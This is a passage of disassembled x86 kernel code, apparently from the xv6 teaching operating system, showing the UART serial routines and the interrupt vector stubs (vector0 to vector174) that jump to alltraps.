80105d7c: 83 ec 08 sub $0x8,%esp
80105d7f: bb 80 7a 10 80 mov $0x80107a80,%ebx
80105d84: 6a 00 push $0x0
80105d86: 6a 04 push $0x4
80105d88: e8 53 c8 ff ff call 801025e0 <ioapicenable>
80105d8d: 83 c4 10 add $0x10,%esp
80105d90: b8 78 00 00 00 mov $0x78,%eax
80105d95: eb 13 jmp 80105daa <uartinit+0x9a>
80105d97: 89 f6 mov %esi,%esi
80105d99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105da0: 83 c3 01 add $0x1,%ebx
80105da3: 0f be 03 movsbl (%ebx),%eax
80105da6: 84 c0 test %al,%al
80105da8: 74 19 je 80105dc3 <uartinit+0xb3>
80105daa: 8b 15 fc a5 10 80 mov 0x8010a5fc,%edx
80105db0: 85 d2 test %edx,%edx
80105db2: 74 ec je 80105da0 <uartinit+0x90>
80105db4: 83 c3 01 add $0x1,%ebx
80105db7: e8 04 ff ff ff call 80105cc0 <uartputc.part.0>
80105dbc: 0f be 03 movsbl (%ebx),%eax
80105dbf: 84 c0 test %al,%al
80105dc1: 75 e7 jne 80105daa <uartinit+0x9a>
80105dc3: 8d 65 f4 lea -0xc(%ebp),%esp
80105dc6: 5b pop %ebx
80105dc7: 5e pop %esi
80105dc8: 5f pop %edi
80105dc9: 5d pop %ebp
80105dca: c3 ret
80105dcb: 90 nop
80105dcc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80105dd0 <uartputc>:
80105dd0: 8b 15 fc a5 10 80 mov 0x8010a5fc,%edx
80105dd6: 55 push %ebp
80105dd7: 89 e5 mov %esp,%ebp
80105dd9: 85 d2 test %edx,%edx
80105ddb: 8b 45 08 mov 0x8(%ebp),%eax
80105dde: 74 10 je 80105df0 <uartputc+0x20>
80105de0: 5d pop %ebp
80105de1: e9 da fe ff ff jmp 80105cc0 <uartputc.part.0>
80105de6: 8d 76 00 lea 0x0(%esi),%esi
80105de9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105df0: 5d pop %ebp
80105df1: c3 ret
80105df2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80105df9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105e00 <uartintr>:
80105e00: 55 push %ebp
80105e01: 89 e5 mov %esp,%ebp
80105e03: 83 ec 14 sub $0x14,%esp
80105e06: 68 90 5c 10 80 push $0x80105c90
80105e0b: e8 d0 ac ff ff call 80100ae0 <consoleintr>
80105e10: 83 c4 10 add $0x10,%esp
80105e13: c9 leave
80105e14: c3 ret
80105e15 <vector0>:
80105e15: 6a 00 push $0x0
80105e17: 6a 00 push $0x0
80105e19: e9 1c fb ff ff jmp 8010593a <alltraps>
80105e1e <vector1>:
80105e1e: 6a 00 push $0x0
80105e20: 6a 01 push $0x1
80105e22: e9 13 fb ff ff jmp 8010593a <alltraps>
80105e27 <vector2>:
80105e27: 6a 00 push $0x0
80105e29: 6a 02 push $0x2
80105e2b: e9 0a fb ff ff jmp 8010593a <alltraps>
80105e30 <vector3>:
80105e30: 6a 00 push $0x0
80105e32: 6a 03 push $0x3
80105e34: e9 01 fb ff ff jmp 8010593a <alltraps>
80105e39 <vector4>:
80105e39: 6a 00 push $0x0
80105e3b: 6a 04 push $0x4
80105e3d: e9 f8 fa ff ff jmp 8010593a <alltraps>
80105e42 <vector5>:
80105e42: 6a 00 push $0x0
80105e44: 6a 05 push $0x5
80105e46: e9 ef fa ff ff jmp 8010593a <alltraps>
80105e4b <vector6>:
80105e4b: 6a 00 push $0x0
80105e4d: 6a 06 push $0x6
80105e4f: e9 e6 fa ff ff jmp 8010593a <alltraps>
80105e54 <vector7>:
80105e54: 6a 00 push $0x0
80105e56: 6a 07 push $0x7
80105e58: e9 dd fa ff ff jmp 8010593a <alltraps>
80105e5d <vector8>:
80105e5d: 6a 08 push $0x8
80105e5f: e9 d6 fa ff ff jmp 8010593a <alltraps>
80105e64 <vector9>:
80105e64: 6a 00 push $0x0
80105e66: 6a 09 push $0x9
80105e68: e9 cd fa ff ff jmp 8010593a <alltraps>
80105e6d <vector10>:
80105e6d: 6a 0a push $0xa
80105e6f: e9 c6 fa ff ff jmp 8010593a <alltraps>
80105e74 <vector11>:
80105e74: 6a 0b push $0xb
80105e76: e9 bf fa ff ff jmp 8010593a <alltraps>
80105e7b <vector12>:
80105e7b: 6a 0c push $0xc
80105e7d: e9 b8 fa ff ff jmp 8010593a <alltraps>
80105e82 <vector13>:
80105e82: 6a 0d push $0xd
80105e84: e9 b1 fa ff ff jmp 8010593a <alltraps>
80105e89 <vector14>:
80105e89: 6a 0e push $0xe
80105e8b: e9 aa fa ff ff jmp 8010593a <alltraps>
80105e90 <vector15>:
80105e90: 6a 00 push $0x0
80105e92: 6a 0f push $0xf
80105e94: e9 a1 fa ff ff jmp 8010593a <alltraps>
80105e99 <vector16>:
80105e99: 6a 00 push $0x0
80105e9b: 6a 10 push $0x10
80105e9d: e9 98 fa ff ff jmp 8010593a <alltraps>
80105ea2 <vector17>:
80105ea2: 6a 11 push $0x11
80105ea4: e9 91 fa ff ff jmp 8010593a <alltraps>
80105ea9 <vector18>:
80105ea9: 6a 00 push $0x0
80105eab: 6a 12 push $0x12
80105ead: e9 88 fa ff ff jmp 8010593a <alltraps>
80105eb2 <vector19>:
80105eb2: 6a 00 push $0x0
80105eb4: 6a 13 push $0x13
80105eb6: e9 7f fa ff ff jmp 8010593a <alltraps>
80105ebb <vector20>:
80105ebb: 6a 00 push $0x0
80105ebd: 6a 14 push $0x14
80105ebf: e9 76 fa ff ff jmp 8010593a <alltraps>
80105ec4 <vector21>:
80105ec4: 6a 00 push $0x0
80105ec6: 6a 15 push $0x15
80105ec8: e9 6d fa ff ff jmp 8010593a <alltraps>
80105ecd <vector22>:
80105ecd: 6a 00 push $0x0
80105ecf: 6a 16 push $0x16
80105ed1: e9 64 fa ff ff jmp 8010593a <alltraps>
80105ed6 <vector23>:
80105ed6: 6a 00 push $0x0
80105ed8: 6a 17 push $0x17
80105eda: e9 5b fa ff ff jmp 8010593a <alltraps>
80105edf <vector24>:
80105edf: 6a 00 push $0x0
80105ee1: 6a 18 push $0x18
80105ee3: e9 52 fa ff ff jmp 8010593a <alltraps>
80105ee8 <vector25>:
80105ee8: 6a 00 push $0x0
80105eea: 6a 19 push $0x19
80105eec: e9 49 fa ff ff jmp 8010593a <alltraps>
80105ef1 <vector26>:
80105ef1: 6a 00 push $0x0
80105ef3: 6a 1a push $0x1a
80105ef5: e9 40 fa ff ff jmp 8010593a <alltraps>
80105efa <vector27>:
80105efa: 6a 00 push $0x0
80105efc: 6a 1b push $0x1b
80105efe: e9 37 fa ff ff jmp 8010593a <alltraps>
80105f03 <vector28>:
80105f03: 6a 00 push $0x0
80105f05: 6a 1c push $0x1c
80105f07: e9 2e fa ff ff jmp 8010593a <alltraps>
80105f0c <vector29>:
80105f0c: 6a 00 push $0x0
80105f0e: 6a 1d push $0x1d
80105f10: e9 25 fa ff ff jmp 8010593a <alltraps>
80105f15 <vector30>:
80105f15: 6a 00 push $0x0
80105f17: 6a 1e push $0x1e
80105f19: e9 1c fa ff ff jmp 8010593a <alltraps>
80105f1e <vector31>:
80105f1e: 6a 00 push $0x0
80105f20: 6a 1f push $0x1f
80105f22: e9 13 fa ff ff jmp 8010593a <alltraps>
80105f27 <vector32>:
80105f27: 6a 00 push $0x0
80105f29: 6a 20 push $0x20
80105f2b: e9 0a fa ff ff jmp 8010593a <alltraps>
80105f30 <vector33>:
80105f30: 6a 00 push $0x0
80105f32: 6a 21 push $0x21
80105f34: e9 01 fa ff ff jmp 8010593a <alltraps>
80105f39 <vector34>:
80105f39: 6a 00 push $0x0
80105f3b: 6a 22 push $0x22
80105f3d: e9 f8 f9 ff ff jmp 8010593a <alltraps>
80105f42 <vector35>:
80105f42: 6a 00 push $0x0
80105f44: 6a 23 push $0x23
80105f46: e9 ef f9 ff ff jmp 8010593a <alltraps>
80105f4b <vector36>:
80105f4b: 6a 00 push $0x0
80105f4d: 6a 24 push $0x24
80105f4f: e9 e6 f9 ff ff jmp 8010593a <alltraps>
80105f54 <vector37>:
80105f54: 6a 00 push $0x0
80105f56: 6a 25 push $0x25
80105f58: e9 dd f9 ff ff jmp 8010593a <alltraps>
80105f5d <vector38>:
80105f5d: 6a 00 push $0x0
80105f5f: 6a 26 push $0x26
80105f61: e9 d4 f9 ff ff jmp 8010593a <alltraps>
80105f66 <vector39>:
80105f66: 6a 00 push $0x0
80105f68: 6a 27 push $0x27
80105f6a: e9 cb f9 ff ff jmp 8010593a <alltraps>
80105f6f <vector40>:
80105f6f: 6a 00 push $0x0
80105f71: 6a 28 push $0x28
80105f73: e9 c2 f9 ff ff jmp 8010593a <alltraps>
80105f78 <vector41>:
80105f78: 6a 00 push $0x0
80105f7a: 6a 29 push $0x29
80105f7c: e9 b9 f9 ff ff jmp 8010593a <alltraps>
80105f81 <vector42>:
80105f81: 6a 00 push $0x0
80105f83: 6a 2a push $0x2a
80105f85: e9 b0 f9 ff ff jmp 8010593a <alltraps>
80105f8a <vector43>:
80105f8a: 6a 00 push $0x0
80105f8c: 6a 2b push $0x2b
80105f8e: e9 a7 f9 ff ff jmp 8010593a <alltraps>
80105f93 <vector44>:
80105f93: 6a 00 push $0x0
80105f95: 6a 2c push $0x2c
80105f97: e9 9e f9 ff ff jmp 8010593a <alltraps>
80105f9c <vector45>:
80105f9c: 6a 00 push $0x0
80105f9e: 6a 2d push $0x2d
80105fa0: e9 95 f9 ff ff jmp 8010593a <alltraps>
80105fa5 <vector46>:
80105fa5: 6a 00 push $0x0
80105fa7: 6a 2e push $0x2e
80105fa9: e9 8c f9 ff ff jmp 8010593a <alltraps>
80105fae <vector47>:
80105fae: 6a 00 push $0x0
80105fb0: 6a 2f push $0x2f
80105fb2: e9 83 f9 ff ff jmp 8010593a <alltraps>
80105fb7 <vector48>:
80105fb7: 6a 00 push $0x0
80105fb9: 6a 30 push $0x30
80105fbb: e9 7a f9 ff ff jmp 8010593a <alltraps>
80105fc0 <vector49>:
80105fc0: 6a 00 push $0x0
80105fc2: 6a 31 push $0x31
80105fc4: e9 71 f9 ff ff jmp 8010593a <alltraps>
80105fc9 <vector50>:
80105fc9: 6a 00 push $0x0
80105fcb: 6a 32 push $0x32
80105fcd: e9 68 f9 ff ff jmp 8010593a <alltraps>
80105fd2 <vector51>:
80105fd2: 6a 00 push $0x0
80105fd4: 6a 33 push $0x33
80105fd6: e9 5f f9 ff ff jmp 8010593a <alltraps>
80105fdb <vector52>:
80105fdb: 6a 00 push $0x0
80105fdd: 6a 34 push $0x34
80105fdf: e9 56 f9 ff ff jmp 8010593a <alltraps>
80105fe4 <vector53>:
80105fe4: 6a 00 push $0x0
80105fe6: 6a 35 push $0x35
80105fe8: e9 4d f9 ff ff jmp 8010593a <alltraps>
80105fed <vector54>:
80105fed: 6a 00 push $0x0
80105fef: 6a 36 push $0x36
80105ff1: e9 44 f9 ff ff jmp 8010593a <alltraps>
80105ff6 <vector55>:
80105ff6: 6a 00 push $0x0
80105ff8: 6a 37 push $0x37
80105ffa: e9 3b f9 ff ff jmp 8010593a <alltraps>
80105fff <vector56>:
80105fff: 6a 00 push $0x0
80106001: 6a 38 push $0x38
80106003: e9 32 f9 ff ff jmp 8010593a <alltraps>
80106008 <vector57>:
80106008: 6a 00 push $0x0
8010600a: 6a 39 push $0x39
8010600c: e9 29 f9 ff ff jmp 8010593a <alltraps>
80106011 <vector58>:
80106011: 6a 00 push $0x0
80106013: 6a 3a push $0x3a
80106015: e9 20 f9 ff ff jmp 8010593a <alltraps>
8010601a <vector59>:
8010601a: 6a 00 push $0x0
8010601c: 6a 3b push $0x3b
8010601e: e9 17 f9 ff ff jmp 8010593a <alltraps>
80106023 <vector60>:
80106023: 6a 00 push $0x0
80106025: 6a 3c push $0x3c
80106027: e9 0e f9 ff ff jmp 8010593a <alltraps>
8010602c <vector61>:
8010602c: 6a 00 push $0x0
8010602e: 6a 3d push $0x3d
80106030: e9 05 f9 ff ff jmp 8010593a <alltraps>
80106035 <vector62>:
80106035: 6a 00 push $0x0
80106037: 6a 3e push $0x3e
80106039: e9 fc f8 ff ff jmp 8010593a <alltraps>
8010603e <vector63>:
8010603e: 6a 00 push $0x0
80106040: 6a 3f push $0x3f
80106042: e9 f3 f8 ff ff jmp 8010593a <alltraps>
80106047 <vector64>:
80106047: 6a 00 push $0x0
80106049: 6a 40 push $0x40
8010604b: e9 ea f8 ff ff jmp 8010593a <alltraps>
80106050 <vector65>:
80106050: 6a 00 push $0x0
80106052: 6a 41 push $0x41
80106054: e9 e1 f8 ff ff jmp 8010593a <alltraps>
80106059 <vector66>:
80106059: 6a 00 push $0x0
8010605b: 6a 42 push $0x42
8010605d: e9 d8 f8 ff ff jmp 8010593a <alltraps>
80106062 <vector67>:
80106062: 6a 00 push $0x0
80106064: 6a 43 push $0x43
80106066: e9 cf f8 ff ff jmp 8010593a <alltraps>
8010606b <vector68>:
8010606b: 6a 00 push $0x0
8010606d: 6a 44 push $0x44
8010606f: e9 c6 f8 ff ff jmp 8010593a <alltraps>
80106074 <vector69>:
80106074: 6a 00 push $0x0
80106076: 6a 45 push $0x45
80106078: e9 bd f8 ff ff jmp 8010593a <alltraps>
8010607d <vector70>:
8010607d: 6a 00 push $0x0
8010607f: 6a 46 push $0x46
80106081: e9 b4 f8 ff ff jmp 8010593a <alltraps>
80106086 <vector71>:
80106086: 6a 00 push $0x0
80106088: 6a 47 push $0x47
8010608a: e9 ab f8 ff ff jmp 8010593a <alltraps>
8010608f <vector72>:
8010608f: 6a 00 push $0x0
80106091: 6a 48 push $0x48
80106093: e9 a2 f8 ff ff jmp 8010593a <alltraps>
80106098 <vector73>:
80106098: 6a 00 push $0x0
8010609a: 6a 49 push $0x49
8010609c: e9 99 f8 ff ff jmp 8010593a <alltraps>
801060a1 <vector74>:
801060a1: 6a 00 push $0x0
801060a3: 6a 4a push $0x4a
801060a5: e9 90 f8 ff ff jmp 8010593a <alltraps>
801060aa <vector75>:
801060aa: 6a 00 push $0x0
801060ac: 6a 4b push $0x4b
801060ae: e9 87 f8 ff ff jmp 8010593a <alltraps>
801060b3 <vector76>:
801060b3: 6a 00 push $0x0
801060b5: 6a 4c push $0x4c
801060b7: e9 7e f8 ff ff jmp 8010593a <alltraps>
801060bc <vector77>:
801060bc: 6a 00 push $0x0
801060be: 6a 4d push $0x4d
801060c0: e9 75 f8 ff ff jmp 8010593a <alltraps>
801060c5 <vector78>:
801060c5: 6a 00 push $0x0
801060c7: 6a 4e push $0x4e
801060c9: e9 6c f8 ff ff jmp 8010593a <alltraps>
801060ce <vector79>:
801060ce: 6a 00 push $0x0
801060d0: 6a 4f push $0x4f
801060d2: e9 63 f8 ff ff jmp 8010593a <alltraps>
801060d7 <vector80>:
801060d7: 6a 00 push $0x0
801060d9: 6a 50 push $0x50
801060db: e9 5a f8 ff ff jmp 8010593a <alltraps>
801060e0 <vector81>:
801060e0: 6a 00 push $0x0
801060e2: 6a 51 push $0x51
801060e4: e9 51 f8 ff ff jmp 8010593a <alltraps>
801060e9 <vector82>:
801060e9: 6a 00 push $0x0
801060eb: 6a 52 push $0x52
801060ed: e9 48 f8 ff ff jmp 8010593a <alltraps>
801060f2 <vector83>:
801060f2: 6a 00 push $0x0
801060f4: 6a 53 push $0x53
801060f6: e9 3f f8 ff ff jmp 8010593a <alltraps>
801060fb <vector84>:
801060fb: 6a 00 push $0x0
801060fd: 6a 54 push $0x54
801060ff: e9 36 f8 ff ff jmp 8010593a <alltraps>
80106104 <vector85>:
80106104: 6a 00 push $0x0
80106106: 6a 55 push $0x55
80106108: e9 2d f8 ff ff jmp 8010593a <alltraps>
8010610d <vector86>:
8010610d: 6a 00 push $0x0
8010610f: 6a 56 push $0x56
80106111: e9 24 f8 ff ff jmp 8010593a <alltraps>
80106116 <vector87>:
80106116: 6a 00 push $0x0
80106118: 6a 57 push $0x57
8010611a: e9 1b f8 ff ff jmp 8010593a <alltraps>
8010611f <vector88>:
8010611f: 6a 00 push $0x0
80106121: 6a 58 push $0x58
80106123: e9 12 f8 ff ff jmp 8010593a <alltraps>
80106128 <vector89>:
80106128: 6a 00 push $0x0
8010612a: 6a 59 push $0x59
8010612c: e9 09 f8 ff ff jmp 8010593a <alltraps>
80106131 <vector90>:
80106131: 6a 00 push $0x0
80106133: 6a 5a push $0x5a
80106135: e9 00 f8 ff ff jmp 8010593a <alltraps>
8010613a <vector91>:
8010613a: 6a 00 push $0x0
8010613c: 6a 5b push $0x5b
8010613e: e9 f7 f7 ff ff jmp 8010593a <alltraps>
80106143 <vector92>:
80106143: 6a 00 push $0x0
80106145: 6a 5c push $0x5c
80106147: e9 ee f7 ff ff jmp 8010593a <alltraps>
8010614c <vector93>:
8010614c: 6a 00 push $0x0
8010614e: 6a 5d push $0x5d
80106150: e9 e5 f7 ff ff jmp 8010593a <alltraps>
80106155 <vector94>:
80106155: 6a 00 push $0x0
80106157: 6a 5e push $0x5e
80106159: e9 dc f7 ff ff jmp 8010593a <alltraps>
8010615e <vector95>:
8010615e: 6a 00 push $0x0
80106160: 6a 5f push $0x5f
80106162: e9 d3 f7 ff ff jmp 8010593a <alltraps>
80106167 <vector96>:
80106167: 6a 00 push $0x0
80106169: 6a 60 push $0x60
8010616b: e9 ca f7 ff ff jmp 8010593a <alltraps>
80106170 <vector97>:
80106170: 6a 00 push $0x0
80106172: 6a 61 push $0x61
80106174: e9 c1 f7 ff ff jmp 8010593a <alltraps>
80106179 <vector98>:
80106179: 6a 00 push $0x0
8010617b: 6a 62 push $0x62
8010617d: e9 b8 f7 ff ff jmp 8010593a <alltraps>
80106182 <vector99>:
80106182: 6a 00 push $0x0
80106184: 6a 63 push $0x63
80106186: e9 af f7 ff ff jmp 8010593a <alltraps>
8010618b <vector100>:
8010618b: 6a 00 push $0x0
8010618d: 6a 64 push $0x64
8010618f: e9 a6 f7 ff ff jmp 8010593a <alltraps>
80106194 <vector101>:
80106194: 6a 00 push $0x0
80106196: 6a 65 push $0x65
80106198: e9 9d f7 ff ff jmp 8010593a <alltraps>
8010619d <vector102>:
8010619d: 6a 00 push $0x0
8010619f: 6a 66 push $0x66
801061a1: e9 94 f7 ff ff jmp 8010593a <alltraps>
801061a6 <vector103>:
801061a6: 6a 00 push $0x0
801061a8: 6a 67 push $0x67
801061aa: e9 8b f7 ff ff jmp 8010593a <alltraps>
801061af <vector104>:
801061af: 6a 00 push $0x0
801061b1: 6a 68 push $0x68
801061b3: e9 82 f7 ff ff jmp 8010593a <alltraps>
801061b8 <vector105>:
801061b8: 6a 00 push $0x0
801061ba: 6a 69 push $0x69
801061bc: e9 79 f7 ff ff jmp 8010593a <alltraps>
801061c1 <vector106>:
801061c1: 6a 00 push $0x0
801061c3: 6a 6a push $0x6a
801061c5: e9 70 f7 ff ff jmp 8010593a <alltraps>
801061ca <vector107>:
801061ca: 6a 00 push $0x0
801061cc: 6a 6b push $0x6b
801061ce: e9 67 f7 ff ff jmp 8010593a <alltraps>
801061d3 <vector108>:
801061d3: 6a 00 push $0x0
801061d5: 6a 6c push $0x6c
801061d7: e9 5e f7 ff ff jmp 8010593a <alltraps>
801061dc <vector109>:
801061dc: 6a 00 push $0x0
801061de: 6a 6d push $0x6d
801061e0: e9 55 f7 ff ff jmp 8010593a <alltraps>
801061e5 <vector110>:
801061e5: 6a 00 push $0x0
801061e7: 6a 6e push $0x6e
801061e9: e9 4c f7 ff ff jmp 8010593a <alltraps>
801061ee <vector111>:
801061ee: 6a 00 push $0x0
801061f0: 6a 6f push $0x6f
801061f2: e9 43 f7 ff ff jmp 8010593a <alltraps>
801061f7 <vector112>:
801061f7: 6a 00 push $0x0
801061f9: 6a 70 push $0x70
801061fb: e9 3a f7 ff ff jmp 8010593a <alltraps>
80106200 <vector113>:
80106200: 6a 00 push $0x0
80106202: 6a 71 push $0x71
80106204: e9 31 f7 ff ff jmp 8010593a <alltraps>
80106209 <vector114>:
80106209: 6a 00 push $0x0
8010620b: 6a 72 push $0x72
8010620d: e9 28 f7 ff ff jmp 8010593a <alltraps>
80106212 <vector115>:
80106212: 6a 00 push $0x0
80106214: 6a 73 push $0x73
80106216: e9 1f f7 ff ff jmp 8010593a <alltraps>
8010621b <vector116>:
8010621b: 6a 00 push $0x0
8010621d: 6a 74 push $0x74
8010621f: e9 16 f7 ff ff jmp 8010593a <alltraps>
80106224 <vector117>:
80106224: 6a 00 push $0x0
80106226: 6a 75 push $0x75
80106228: e9 0d f7 ff ff jmp 8010593a <alltraps>
8010622d <vector118>:
8010622d: 6a 00 push $0x0
8010622f: 6a 76 push $0x76
80106231: e9 04 f7 ff ff jmp 8010593a <alltraps>
80106236 <vector119>:
80106236: 6a 00 push $0x0
80106238: 6a 77 push $0x77
8010623a: e9 fb f6 ff ff jmp 8010593a <alltraps>
8010623f <vector120>:
8010623f: 6a 00 push $0x0
80106241: 6a 78 push $0x78
80106243: e9 f2 f6 ff ff jmp 8010593a <alltraps>
80106248 <vector121>:
80106248: 6a 00 push $0x0
8010624a: 6a 79 push $0x79
8010624c: e9 e9 f6 ff ff jmp 8010593a <alltraps>
80106251 <vector122>:
80106251: 6a 00 push $0x0
80106253: 6a 7a push $0x7a
80106255: e9 e0 f6 ff ff jmp 8010593a <alltraps>
8010625a <vector123>:
8010625a: 6a 00 push $0x0
8010625c: 6a 7b push $0x7b
8010625e: e9 d7 f6 ff ff jmp 8010593a <alltraps>
80106263 <vector124>:
80106263: 6a 00 push $0x0
80106265: 6a 7c push $0x7c
80106267: e9 ce f6 ff ff jmp 8010593a <alltraps>
8010626c <vector125>:
8010626c: 6a 00 push $0x0
8010626e: 6a 7d push $0x7d
80106270: e9 c5 f6 ff ff jmp 8010593a <alltraps>
80106275 <vector126>:
80106275: 6a 00 push $0x0
80106277: 6a 7e push $0x7e
80106279: e9 bc f6 ff ff jmp 8010593a <alltraps>
8010627e <vector127>:
8010627e: 6a 00 push $0x0
80106280: 6a 7f push $0x7f
80106282: e9 b3 f6 ff ff jmp 8010593a <alltraps>
80106287 <vector128>:
80106287: 6a 00 push $0x0
80106289: 68 80 00 00 00 push $0x80
8010628e: e9 a7 f6 ff ff jmp 8010593a <alltraps>
80106293 <vector129>:
80106293: 6a 00 push $0x0
80106295: 68 81 00 00 00 push $0x81
8010629a: e9 9b f6 ff ff jmp 8010593a <alltraps>
8010629f <vector130>:
8010629f: 6a 00 push $0x0
801062a1: 68 82 00 00 00 push $0x82
801062a6: e9 8f f6 ff ff jmp 8010593a <alltraps>
801062ab <vector131>:
801062ab: 6a 00 push $0x0
801062ad: 68 83 00 00 00 push $0x83
801062b2: e9 83 f6 ff ff jmp 8010593a <alltraps>
801062b7 <vector132>:
801062b7: 6a 00 push $0x0
801062b9: 68 84 00 00 00 push $0x84
801062be: e9 77 f6 ff ff jmp 8010593a <alltraps>
801062c3 <vector133>:
801062c3: 6a 00 push $0x0
801062c5: 68 85 00 00 00 push $0x85
801062ca: e9 6b f6 ff ff jmp 8010593a <alltraps>
801062cf <vector134>:
801062cf: 6a 00 push $0x0
801062d1: 68 86 00 00 00 push $0x86
801062d6: e9 5f f6 ff ff jmp 8010593a <alltraps>
801062db <vector135>:
801062db: 6a 00 push $0x0
801062dd: 68 87 00 00 00 push $0x87
801062e2: e9 53 f6 ff ff jmp 8010593a <alltraps>
801062e7 <vector136>:
801062e7: 6a 00 push $0x0
801062e9: 68 88 00 00 00 push $0x88
801062ee: e9 47 f6 ff ff jmp 8010593a <alltraps>
801062f3 <vector137>:
801062f3: 6a 00 push $0x0
801062f5: 68 89 00 00 00 push $0x89
801062fa: e9 3b f6 ff ff jmp 8010593a <alltraps>
801062ff <vector138>:
801062ff: 6a 00 push $0x0
80106301: 68 8a 00 00 00 push $0x8a
80106306: e9 2f f6 ff ff jmp 8010593a <alltraps>
8010630b <vector139>:
8010630b: 6a 00 push $0x0
8010630d: 68 8b 00 00 00 push $0x8b
80106312: e9 23 f6 ff ff jmp 8010593a <alltraps>
80106317 <vector140>:
80106317: 6a 00 push $0x0
80106319: 68 8c 00 00 00 push $0x8c
8010631e: e9 17 f6 ff ff jmp 8010593a <alltraps>
80106323 <vector141>:
80106323: 6a 00 push $0x0
80106325: 68 8d 00 00 00 push $0x8d
8010632a: e9 0b f6 ff ff jmp 8010593a <alltraps>
8010632f <vector142>:
8010632f: 6a 00 push $0x0
80106331: 68 8e 00 00 00 push $0x8e
80106336: e9 ff f5 ff ff jmp 8010593a <alltraps>
8010633b <vector143>:
8010633b: 6a 00 push $0x0
8010633d: 68 8f 00 00 00 push $0x8f
80106342: e9 f3 f5 ff ff jmp 8010593a <alltraps>
80106347 <vector144>:
80106347: 6a 00 push $0x0
80106349: 68 90 00 00 00 push $0x90
8010634e: e9 e7 f5 ff ff jmp 8010593a <alltraps>
80106353 <vector145>:
80106353: 6a 00 push $0x0
80106355: 68 91 00 00 00 push $0x91
8010635a: e9 db f5 ff ff jmp 8010593a <alltraps>
8010635f <vector146>:
8010635f: 6a 00 push $0x0
80106361: 68 92 00 00 00 push $0x92
80106366: e9 cf f5 ff ff jmp 8010593a <alltraps>
8010636b <vector147>:
8010636b: 6a 00 push $0x0
8010636d: 68 93 00 00 00 push $0x93
80106372: e9 c3 f5 ff ff jmp 8010593a <alltraps>
80106377 <vector148>:
80106377: 6a 00 push $0x0
80106379: 68 94 00 00 00 push $0x94
8010637e: e9 b7 f5 ff ff jmp 8010593a <alltraps>
80106383 <vector149>:
80106383: 6a 00 push $0x0
80106385: 68 95 00 00 00 push $0x95
8010638a: e9 ab f5 ff ff jmp 8010593a <alltraps>
8010638f <vector150>:
8010638f: 6a 00 push $0x0
80106391: 68 96 00 00 00 push $0x96
80106396: e9 9f f5 ff ff jmp 8010593a <alltraps>
8010639b <vector151>:
8010639b: 6a 00 push $0x0
8010639d: 68 97 00 00 00 push $0x97
801063a2: e9 93 f5 ff ff jmp 8010593a <alltraps>
801063a7 <vector152>:
801063a7: 6a 00 push $0x0
801063a9: 68 98 00 00 00 push $0x98
801063ae: e9 87 f5 ff ff jmp 8010593a <alltraps>
801063b3 <vector153>:
801063b3: 6a 00 push $0x0
801063b5: 68 99 00 00 00 push $0x99
801063ba: e9 7b f5 ff ff jmp 8010593a <alltraps>
801063bf <vector154>:
801063bf: 6a 00 push $0x0
801063c1: 68 9a 00 00 00 push $0x9a
801063c6: e9 6f f5 ff ff jmp 8010593a <alltraps>
801063cb <vector155>:
801063cb: 6a 00 push $0x0
801063cd: 68 9b 00 00 00 push $0x9b
801063d2: e9 63 f5 ff ff jmp 8010593a <alltraps>
801063d7 <vector156>:
801063d7: 6a 00 push $0x0
801063d9: 68 9c 00 00 00 push $0x9c
801063de: e9 57 f5 ff ff jmp 8010593a <alltraps>
801063e3 <vector157>:
801063e3: 6a 00 push $0x0
801063e5: 68 9d 00 00 00 push $0x9d
801063ea: e9 4b f5 ff ff jmp 8010593a <alltraps>
801063ef <vector158>:
801063ef: 6a 00 push $0x0
801063f1: 68 9e 00 00 00 push $0x9e
801063f6: e9 3f f5 ff ff jmp 8010593a <alltraps>
801063fb <vector159>:
801063fb: 6a 00 push $0x0
801063fd: 68 9f 00 00 00 push $0x9f
80106402: e9 33 f5 ff ff jmp 8010593a <alltraps>
80106407 <vector160>:
80106407: 6a 00 push $0x0
80106409: 68 a0 00 00 00 push $0xa0
8010640e: e9 27 f5 ff ff jmp 8010593a <alltraps>
80106413 <vector161>:
80106413: 6a 00 push $0x0
80106415: 68 a1 00 00 00 push $0xa1
8010641a: e9 1b f5 ff ff jmp 8010593a <alltraps>
8010641f <vector162>:
8010641f: 6a 00 push $0x0
80106421: 68 a2 00 00 00 push $0xa2
80106426: e9 0f f5 ff ff jmp 8010593a <alltraps>
8010642b <vector163>:
8010642b: 6a 00 push $0x0
8010642d: 68 a3 00 00 00 push $0xa3
80106432: e9 03 f5 ff ff jmp 8010593a <alltraps>
80106437 <vector164>:
80106437: 6a 00 push $0x0
80106439: 68 a4 00 00 00 push $0xa4
8010643e: e9 f7 f4 ff ff jmp 8010593a <alltraps>
80106443 <vector165>:
80106443: 6a 00 push $0x0
80106445: 68 a5 00 00 00 push $0xa5
8010644a: e9 eb f4 ff ff jmp 8010593a <alltraps>
8010644f <vector166>:
8010644f: 6a 00 push $0x0
80106451: 68 a6 00 00 00 push $0xa6
80106456: e9 df f4 ff ff jmp 8010593a <alltraps>
8010645b <vector167>:
8010645b: 6a 00 push $0x0
8010645d: 68 a7 00 00 00 push $0xa7
80106462: e9 d3 f4 ff ff jmp 8010593a <alltraps>
80106467 <vector168>:
80106467: 6a 00 push $0x0
80106469: 68 a8 00 00 00 push $0xa8
8010646e: e9 c7 f4 ff ff jmp 8010593a <alltraps>
80106473 <vector169>:
80106473: 6a 00 push $0x0
80106475: 68 a9 00 00 00 push $0xa9
8010647a: e9 bb f4 ff ff jmp 8010593a <alltraps>
8010647f <vector170>:
8010647f: 6a 00 push $0x0
80106481: 68 aa 00 00 00 push $0xaa
80106486: e9 af f4 ff ff jmp 8010593a <alltraps>
8010648b <vector171>:
8010648b: 6a 00 push $0x0
8010648d: 68 ab 00 00 00 push $0xab
80106492: e9 a3 f4 ff ff jmp 8010593a <alltraps>
80106497 <vector172>:
80106497: 6a 00 push $0x0
80106499: 68 ac 00 00 00 push $0xac
8010649e: e9 97 f4 ff ff jmp 8010593a <alltraps>
801064a3 <vector173>:
801064a3: 6a 00 push $0x0
801064a5: 68 ad 00 00 00 push $0xad
801064aa: e9 8b f4 ff ff jmp 8010593a <alltraps>
801064af <vector174>:
801064af: 6a 00 push $0x0
801064b1: 68 ae 00 00 00 push $0xae
